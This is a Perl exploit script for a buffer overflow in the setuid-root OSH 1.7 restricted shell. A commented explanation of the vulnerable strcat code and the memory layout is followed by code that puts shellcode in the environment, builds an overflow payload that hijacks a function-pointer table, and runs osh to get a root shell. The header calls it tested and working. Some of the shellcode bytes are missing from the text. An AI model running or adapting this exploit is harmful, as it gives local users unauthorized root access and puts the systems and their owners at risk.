#!/usr/bin/perl # Tested and working uid=50(str0ke) gid=100(users) euid=0(root) groups=100(users) # /str0ke ####################################################################### # # OSH 1.7 Exploit # # EDUCATIONAL purposes only.... :-) # # by Charles Stevenson (core) # # Description: # The Operator Shell (Osh) is a setuid root, security enhanced, restricted # shell. It allows the administrator to carefully limit the access of special # commands and files to the users whose duties require their use, while # at the same time automatically maintaining audit records. The configuration # file for Osh contains an administrator defined access profile for each # authorized user or group. # # Problem: # The patch for the overflows published by Steve Kemp seems lacking. If the # following requirements are met we can overflow within the iopen() function: # osh must be invoked in non-interactive mode, argv[1] must be a valid command # according to /etc/osh.conf (e.g. osh help $(perl -e 'print "A"x8192')). The # offending code can be found at main.c:305 # # if (found) { /* It's a command, input is a string */ # inputfp=(FILE *)1; # strcpy(inputstring, argv[1]); //XXX: command is copied into inputstring # for (i=3;i<=argc;i++) { # strcat(inputstring, " "); //XXX: it adds a space # strcat(inputstring, argv[i-1]); //XXX: and now overflow is possible # } # strcat(inputstring, "\n"); /* So it's a command */ # # So far so good. Looking at the declaration `static char inputstring[1024];' # we can see that overflow is indeed possible. Here's the layout of memory: # #+------------------------------+ #| Memory Layout | #+------------------------------+ #|0x804e340 | #|0x804e344 | #|0x804e348 | #|0x804e34c | #+-(can munge everything below)-+ #|0x804e360 | #|0x804e760 | #|0x804e764 | #|0x804e778 | #|0x804e780 | #|0x804f380 | #|0x804f3a0 | #|0x804f540 | #|0x804f860 | #|0x804f864 | #+------------------------------+ # # Table stores a bunch of function pointers to all the routines whether # internally implemented or called via execv. So I decided to try and # overwrite the first entry with the address of my shellcode. There were # several obstacles in between me and my rootshell though. First was a # loop that performed strcmp's on AliasList items. Rather than fill that # out I found that I could conveniently set AliasCounter to -1 and skip # the loop entirely. Next I found that if argv[1] was a builtin command # and NUMENTRY was a positive integer I could set Table[0].prog_name to match # argv[1] and it'd call Table[0].handler (So I found "exit" in the executable # itself thanks to `static struct hand Internal[]'). From main.c:1032 # # while (i\n\n"; # Clear out the environment. foreach $key (keys %ENV) { delete $ENV{$key}; } # Setup simple env so ret is easier to guess $ENV{"HELLCODE"} = "$sc"; $ENV{"TERM"} = "linux"; $ENV{"PATH"} = "/usr/local/bin:/usr/bin:/bin"; # Create the payload... $egg = "&"x1019 . # pad up to NUMENTRY pack("l",0x01d5c001) . # overwrite with a positive int "&"x20 . # ampersand gets pas TTOOLONG pack("l",0xffffffff) . # AliasCounter = -1 skips for loop "core" . # shameless self-promotion $exit_addy . # address of "exit" pack("l",0xbffffe30) . # address of shellcode in ENV $exit_addy; # address of a NULL terminated string system("/usr/sbin/osh exit '$egg'"); # EOF # milw0rm.com [2005-02-05]